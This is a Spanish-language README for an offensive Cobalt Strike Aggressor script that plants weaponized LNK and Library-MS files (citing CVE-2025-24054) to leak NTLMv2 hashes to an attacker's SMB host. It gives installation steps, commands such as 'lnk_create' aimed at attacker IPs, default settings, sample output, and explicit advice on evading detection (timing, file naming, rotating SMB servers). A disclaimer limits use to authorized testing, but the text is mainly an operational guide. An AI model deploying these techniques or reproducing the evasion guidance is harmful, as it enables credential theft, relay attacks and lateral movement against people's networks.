LNK Weaponizer - Script de Agressor de Cobalt Strike
Un script completo de Agressor de Cobalt Strike que weaponiza y ejecuta archivos LNK maliciosos y archivos Library-MS para la divulgación de hashes NTLMv2-SSP de SMB. Incluye técnicas de evasión CVE-2025-24054.
⚠️ DESCARGO DE RESPONSABILIDAD
Esta herramienta es solo para fines educativos y de investigación. El autor no se responsabiliza por el mal uso de este código. Úsela únicamente en sistemas que posea o para los que tenga permiso explícito de prueba.
Captura de Hashes NTLM
Este script genera archivos .lnk y .library-ms weaponizados que, al abrirse, desencadenan la autenticación SMB hacia el host del operador.
Los hashes NTLMv2 filtrados no se muestran en Cobalt Strike, sino que deben capturarse con herramientas externas como Responder, ntlmrelayx.py de Impacket o Inveigh ejecutándose en el sistema atacante.
Una vez recolectados, los hashes pueden ser crackeados con Hashcat o retransmitidos para movimiento lateral adicional.
🎯 Características
- Weaponización de Archivos LNK: Crea archivos de acceso directo maliciosos para la captura de hashes NTLM
- Creación de Archivos Library-MS: Implementa la técnica de evasión CVE-2025-24054
- Integración en Menú Contextual: Acceso fácil a través del menú contextual del beacon de Cobalt Strike
- Interfaz de Línea de Comandos: Comandos directos para automatización y scripting
- Diálogos Interactivos: Entrada de parámetros fácil de usar
- Despliegue Rápido: Configuraciones predefinidas para despliegue ágil
- Configuración Global: Personalización sencilla de ajustes predeterminados
📁 Estructura del Proyecto
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Script Aggressor principal (v2.0)
├── standalone_lnk_weaponizer.ps1 # Versión PowerShell independiente
├── README.md # Esta documentación
├── INSTALL.md # Guía de instalación y configuración
└── examples/
├── usage_scenarios.md # Ejemplos de uso práctico
└── sample_targets.csv # Archivo de ejemplo para operaciones por lotes
🚀 Instalación
- Copia
lnk_weaponizer.cna en tu directorio de scripts Aggressor de Cobalt Strike
- Carga el script en Cobalt Strike:
- Ve a
Cobalt Strike → Script Manager
- Haz clic en
Load y selecciona lnk_weaponizer.cna
- El script se inicializará automáticamente y mostrará los comandos disponibles
📖 Uso
Haz clic derecho en cualquier beacon de Cobalt Strike para acceder:
- Crear Archivo LNK: Diálogo interactivo para creación personalizada de LNK
- Crear Archivo Library-MS: Diálogo interactivo para creación de Library-MS (evasión CVE-2025-24054)
- LNK Rápido (Configuración Predeterminada): Despliegue rápido de LNK con valores preestablecidos
- Library-MS Rápido (Configuración Predeterminada): Despliegue rápido de Library-MS con valores preestablecidos
Comandos de Línea de Comandos
Comandos de Archivo LNK
# Create LNK file with custom parameters
lnk_create <path> <ip> <share> <file>
# Example
lnk_create C:\Temp 192.168.1.10 share payload.exe
Comandos de Archivo Library-MS
# Create Library-MS file with custom parameters
library_create <path> <ip> <share>
# Example
library_create C:\Temp 10.10.14.22 share
Comandos Rápidos
# Use default settings
lnk_quick
library_quick
# Show help
lnk_help
🔧 Configuración
Configuración Predeterminada
El script utiliza estos valores predeterminados configurables:
- IP:
192.168.1.10
- Recurso compartido:
share
- Ruta:
C:\Temp
Personalización de Valores Predeterminados
Edita las variables globales en lnk_weaponizer.cna:
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
🎯 Cómo Funciona
Técnica de Archivo LNK
- Generación de Script PowerShell: Crea un script PowerShell que genera el archivo LNK malicioso
- Creación de Archivo LNK: Usa el objeto COM de Windows Shell para crear un acceso directo que apunta a una ubicación SMB remota
- Disparo de Icono: Obliga a Explorer a obtener el icono PE del binario remoto, desencadenando la autenticación NTLM
- Captura de Hash: El hash NTLMv2-SSP se captura cuando el usuario interactúa con el archivo
Técnica Library-MS (Evasión CVE-2025-24054)
- Generación de XML: Crea un archivo XML Library-MS con referencia a ruta UNC
- Creación de Archivo: Genera un archivo
.library-ms en el directorio de destino
- Interacción del Usuario: Cuando el usuario hace doble clic en el archivo Library-MS, Windows intenta acceder a la ruta UNC
- Disparo de Autenticación: Se desencadena la autenticación SMB, capturando el hash NTLM
Detalles Técnicos
Ambas técnicas crean archivos que:
- Apuntan a ubicaciones SMB remotas
- Desencadenan autenticación al ser accedidos
- Evitan controles de seguridad comunes
- Proporcionan captura confiable de hashes
El script proporciona un registro detallado:
[+] Creating LNK file on TARGET-COMPUTER
[+] Target UNC: \\192.168.1.10\share\payload.exe
[+] Local Path: C:\Temp
[+] LNK weaponization completed
[!] Wait for user to click the LNK file to capture NTLM hash
🛡️ Consideraciones de Seguridad
Evasión de Detección
- Usa nombres de recursos compartidos y rutas con apariencia legítima
- Considera el momento del despliegue para evitar la detección
- Monitorea las alertas de herramientas de seguridad
- La técnica Library-MS proporciona evasión adicional
Seguridad Operacional
- Usa servidores SMB dedicados para la recolección de hashes
- Implementa un registro y monitoreo adecuados
- Sigue los procedimientos de equipo rojo de tu organización
- Documenta todas las actividades de prueba
Cumplimiento Legal
- Asegúrate de tener la autorización adecuada antes de realizar pruebas
- Documenta todas las actividades de prueba
- Respeta el alcance y los límites
🔍 Solución de Problemas
Problemas Comunes
-
Beacon No Encontrado
- Asegúrate de que el equipo de destino tenga un beacon activo
- Verifica la ortografía del nombre del equipo en operaciones por lotes
-
Permiso Denegado
- Verifica los permisos de escritura en la ruta de destino
- Verifica la configuración de UAC en el sistema de destino
-
Política de Ejecución de PowerShell
- El script usa
bpowershell() para manejar las restricciones
- Asegúrate de que PowerShell esté disponible en el destino
Modo de Depuración
Habilita la salida detallada modificando el script:
# Add debug logging
blog($bid, "[DEBUG] Executing command: " . $command);
📝 Ejemplos
Escenario 1: Despliegue de Archivo LNK
# Create LNK file on specific target
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
Escenario 2: Evasión Library-MS
# Create Library-MS file for CVE-2025-24054 bypass
library_create C:\Users\Public\Desktop 192.168.1.100 share
Escenario 3: Ataque Rápido
# Use default settings for rapid deployment
lnk_quick
library_quick
🔬 Técnicas Avanzadas
Evasión CVE-2025-24054
La técnica Library-MS implementa una evasión para CVE-2025-24054 al:
- Usar el formato de archivo Library-MS en lugar de archivos LNK tradicionales
- Aprovechar el sistema de Bibliotecas de Windows para desencadenar autenticación
- Proporcionar capacidades de evasión adicionales
Estrategias de Evasión
- Nombrado de Archivos: Usa nombres y extensiones realistas
- Selección de Ruta: Despliega en directorios de usuario comunes
- Temporización: Ejecuta durante el horario laboral normal
- Rotación: Varía las IPs del servidor SMB y los nombres de recursos compartidos
🤝 Contribuir
- Haz un fork del repositorio
- Crea una rama de funcionalidad
- Realiza tus cambios
- Prueba a fondo
- Envía una pull request
📄 Licencia
Este proyecto se proporciona tal cual con fines educativos. Úsalo de manera responsable y de acuerdo con las leyes y regulaciones aplicables.
🙏 Agradecimientos
- Al equipo de Cobalt Strike por el framework Aggressor
- A la comunidad de equipo rojo por las pruebas y comentarios
- A los investigadores de seguridad que pioneron los ataques basados en LNK
- A los contribuyentes a la investigación de CVE-2025-24054
Recuerda: Siempre obtén la autorización adecuada antes de realizar pruebas en cualquier sistema.